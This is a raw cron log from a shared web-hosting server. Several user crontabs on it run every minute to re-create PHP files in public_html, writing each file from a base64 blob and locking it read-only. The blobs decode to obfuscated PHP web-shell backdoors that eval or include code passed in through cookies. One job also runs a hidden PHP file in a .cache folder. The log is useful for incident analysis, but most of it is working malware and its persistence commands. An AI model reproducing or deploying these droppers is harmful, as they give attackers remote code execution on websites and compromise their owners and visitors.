Mar  2 16:26:01 medusa CROND[12870]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:26:01 medusa CROND[12871]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:26:01 medusa CROND[12872]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:27:01 medusa CROND[2168]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 16:27:01 medusa CROND[2169]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:27:01 medusa CROND[2170]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:27:01 medusa CROND[2171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:27:01 medusa CROND[2172]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:27:01 medusa CROND[2175]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:27:01 medusa CROND[2176]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:27:01 medusa CROND[2177]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:27:01 medusa CROND[2178]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:27:01 medusa CROND[2181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:27:01 medusa CROND[2187]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:27:01 medusa CROND[2189]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:28:01 medusa CROND[20206]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:28:01 medusa CROND[20465]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 16:28:01 medusa CROND[20466]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:28:01 medusa CROND[20470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:28:01 medusa CROND[20471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:28:01 medusa CROND[20472]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:28:01 medusa CROND[20473]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:28:01 medusa CROND[20478]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:28:01 medusa CROND[20487]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:28:01 medusa CROND[20489]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 16:28:01 medusa CROND[20494]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:28:01 medusa CROND[20497]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
